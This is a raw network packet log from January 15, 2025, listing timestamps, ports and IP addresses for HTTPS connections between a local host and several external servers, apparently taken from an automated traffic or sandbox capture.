Jan 15, 2025 15:12:17.397938967 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.397958994 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.397972107 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.398322105 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.398336887 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.398380041 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.398380041 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.398392916 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.398401022 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.398432970 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.398741961 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.398757935 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.398801088 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.398823977 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.398837090 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.399080992 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.399101019 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.399137020 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.399158001 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.399169922 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.422080040 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.486917019 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.486942053 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.486998081 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.487010002 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.487060070 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.487262964 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.487302065 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.487327099 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.487356901 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.487363100 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.487391949 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.487608910 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.487688065 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.487721920 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.487747908 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.487752914 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.487785101 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.488096952 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.488112926 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.488151073 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.488157034 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.488185883 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.488493919 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.488508940 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.488550901 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.488559008 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.488588095 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.488841057 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.488856077 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.488926888 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.488926888 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.488934994 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.489164114 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.489178896 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.489228010 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.489233017 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.489249945 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.489444971 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.489460945 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.489511967 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.489516973 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.489559889 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.536103010 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.614041090 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.614065886 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.614185095 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.614203930 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.614253044 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.614347935 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.614381075 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.614408970 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.614413977 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.614449978 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.614463091 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.615044117 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.615060091 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.615114927 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.615119934 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.615201950 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.615470886 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.615487099 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.615542889 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.615546942 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.615593910 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.615840912 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.615914106 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.615919113 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.615973949 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.616272926 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.616291046 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.616343975 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.616348982 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.616379023 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.616405964 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.616708040 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.616724968 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.616781950 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.616785049 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.616880894 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.617017984 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.617048025 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.617082119 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.617085934 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.617119074 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.617125988 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.704618931 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.704751015 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.704751015 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.704849005 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.724720955 CET	443	50678	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:17.797944069 CET	50678	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:17.797956944 CET	443	50678	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:17.798760891 CET	443	50678	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:17.805414915 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.807334900 CET	50678	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:17.807460070 CET	443	50678	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:17.807677984 CET	50678	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:17.841157913 CET	50676	443	192.168.2.7	104.19.229.21
Jan 15, 2025 15:12:17.841187000 CET	443	50676	104.19.229.21	192.168.2.7
Jan 15, 2025 15:12:17.851335049 CET	443	50678	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:17.916615963 CET	443	50678	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:17.916708946 CET	443	50678	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:17.916758060 CET	50678	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:17.918654919 CET	50678	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:17.918678999 CET	443	50678	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:18.002171993 CET	50679	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:18.002228975 CET	443	50679	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:18.002477884 CET	50679	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:18.002477884 CET	50679	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:18.002511978 CET	443	50679	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:18.199393988 CET	50680	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:18.199433088 CET	443	50680	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:18.199497938 CET	50680	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:18.199928045 CET	50680	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:18.199939013 CET	443	50680	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:18.458735943 CET	443	50679	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:18.459125042 CET	50679	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:18.459152937 CET	443	50679	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:18.459630966 CET	443	50679	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:18.460622072 CET	50679	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:18.460710049 CET	443	50679	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:18.460808992 CET	50679	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:18.503333092 CET	443	50679	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:18.602016926 CET	443	50679	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:18.602128983 CET	443	50679	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:18.602185965 CET	50679	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:18.602200031 CET	443	50679	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:18.602225065 CET	443	50679	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:18.602304935 CET	50679	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:18.603118896 CET	50679	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:18.603136063 CET	443	50679	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:18.656008959 CET	443	50680	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:18.672907114 CET	50680	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:18.672920942 CET	443	50680	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:18.673314095 CET	443	50680	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:18.689176083 CET	50680	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:18.689270973 CET	443	50680	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:18.690157890 CET	50681	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:18.690207958 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:18.690269947 CET	50681	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:18.690473080 CET	50680	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:18.690757036 CET	50681	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:18.690772057 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:18.735341072 CET	443	50680	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:18.820920944 CET	443	50680	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:18.820993900 CET	443	50680	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:18.821101904 CET	50680	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:18.826416016 CET	50680	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:18.826441050 CET	443	50680	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:19.149146080 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:19.149441004 CET	50681	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:19.149450064 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:19.150144100 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:19.150489092 CET	50681	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:19.150568962 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:19.150751114 CET	50681	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:19.150751114 CET	50681	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:19.150785923 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:19.150908947 CET	50681	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:19.150940895 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:19.396167040 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:19.396235943 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:19.396276951 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:19.396292925 CET	50681	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:19.396306992 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:19.396348000 CET	50681	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:19.396353960 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:19.396526098 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:19.396779060 CET	50681	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:19.396785021 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:19.396821976 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:19.396949053 CET	50681	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:19.396967888 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:19.400998116 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:19.401037931 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:19.401062012 CET	50681	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:19.401070118 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:19.401115894 CET	50681	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:19.483608007 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:19.483684063 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:19.483736992 CET	50681	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:19.483752012 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:19.484018087 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:19.484050035 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:19.484086037 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:19.484098911 CET	50681	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:19.484103918 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:19.484127998 CET	50681	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:19.484751940 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:19.484819889 CET	50681	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:19.484823942 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:19.484843969 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:19.484891891 CET	50681	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:19.491441965 CET	50681	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:19.491458893 CET	443	50681	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:19.520051956 CET	50682	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:19.520097971 CET	443	50682	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:19.520210028 CET	50682	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:19.520622969 CET	50682	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:19.520642996 CET	443	50682	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:19.979609013 CET	443	50682	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:19.993349075 CET	50682	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:19.993362904 CET	443	50682	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:19.993774891 CET	443	50682	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:20.039479017 CET	50682	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:20.039639950 CET	50682	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:20.039649963 CET	443	50682	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:20.039778948 CET	443	50682	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:20.142556906 CET	443	50682	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:20.142755032 CET	50682	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:20.305181980 CET	50682	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:20.305214882 CET	443	50682	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:25.076206923 CET	50683	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:25.076256037 CET	443	50683	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:25.076339006 CET	50683	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:25.076679945 CET	50683	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:25.076694965 CET	443	50683	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:25.541285992 CET	443	50683	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:25.541554928 CET	50683	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:25.541574001 CET	443	50683	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:25.541893959 CET	443	50683	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:25.542368889 CET	50683	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:25.542432070 CET	443	50683	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:25.542568922 CET	50683	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:25.542673111 CET	50683	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:25.542699099 CET	443	50683	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:25.542753935 CET	50683	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:25.542759895 CET	443	50683	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:25.542896986 CET	50683	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:25.542908907 CET	50683	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:25.542922020 CET	443	50683	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:25.796626091 CET	443	50683	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:25.796873093 CET	443	50683	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:25.796924114 CET	50683	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:25.796947956 CET	443	50683	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:25.797032118 CET	443	50683	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:25.797076941 CET	50683	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:25.797084093 CET	443	50683	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:25.797182083 CET	443	50683	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:25.797244072 CET	50683	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:25.798818111 CET	50683	443	192.168.2.7	104.18.95.41
Jan 15, 2025 15:12:25.798841953 CET	443	50683	104.18.95.41	192.168.2.7
Jan 15, 2025 15:12:25.821584940 CET	50684	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:25.821638107 CET	443	50684	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:25.821708918 CET	50684	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:25.822122097 CET	50684	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:25.822129011 CET	50685	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:25.822138071 CET	443	50684	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:25.822179079 CET	443	50685	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:25.822236061 CET	50685	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:25.822614908 CET	50685	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:25.822630882 CET	443	50685	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:25.831832886 CET	50686	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:25.831865072 CET	443	50686	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:25.831923008 CET	50686	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:25.832293034 CET	50686	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:25.832305908 CET	443	50686	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:26.308001995 CET	443	50686	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:26.308263063 CET	50686	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:26.308290005 CET	443	50686	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:26.308638096 CET	443	50686	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:26.309068918 CET	50686	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:26.309137106 CET	443	50686	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:26.309212923 CET	50686	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:26.351330996 CET	443	50686	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:26.447767973 CET	443	50686	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:26.447865009 CET	443	50686	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:26.447911024 CET	50686	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:26.448618889 CET	50686	443	192.168.2.7	104.18.94.41
Jan 15, 2025 15:12:26.448638916 CET	443	50686	104.18.94.41	192.168.2.7
Jan 15, 2025 15:12:26.490338087 CET	443	50684	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:26.490572929 CET	50684	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:26.490593910 CET	443	50684	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:26.490962982 CET	443	50684	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:26.491024017 CET	50684	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:26.491669893 CET	443	50684	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:26.491878033 CET	50684	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:26.491878033 CET	50684	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:26.491954088 CET	443	50684	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:26.492145061 CET	50684	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:26.492163897 CET	443	50684	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:26.499903917 CET	443	50685	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:26.500108957 CET	50685	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:26.500135899 CET	443	50685	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:26.500927925 CET	443	50685	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:26.501300097 CET	50685	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:26.501413107 CET	443	50685	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:26.544651031 CET	50684	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:26.544761896 CET	50685	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:26.963623047 CET	443	50684	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:27.006951094 CET	50684	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:27.096009970 CET	443	50684	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:27.139808893 CET	50684	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:27.139832973 CET	443	50684	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:27.140760899 CET	50684	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:27.140882969 CET	443	50684	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:27.141082048 CET	443	50684	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:27.141129971 CET	50684	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:27.143058062 CET	50685	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:27.143428087 CET	50684	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:27.187330008 CET	443	50685	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:27.538840055 CET	443	50685	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:27.589025021 CET	50685	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:27.589055061 CET	443	50685	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:27.635411978 CET	50685	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:27.636954069 CET	443	50685	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:27.680249929 CET	443	50685	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:27.680346966 CET	50685	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:27.680361032 CET	443	50685	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:27.682550907 CET	50685	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:27.682600021 CET	443	50685	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:27.682785034 CET	443	50685	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:27.682874918 CET	50685	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:27.682874918 CET	50685	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:27.709952116 CET	50687	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:27.709999084 CET	443	50687	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:27.710207939 CET	50687	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:27.710340023 CET	50687	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:27.710359097 CET	443	50687	185.225.69.200	192.168.2.7
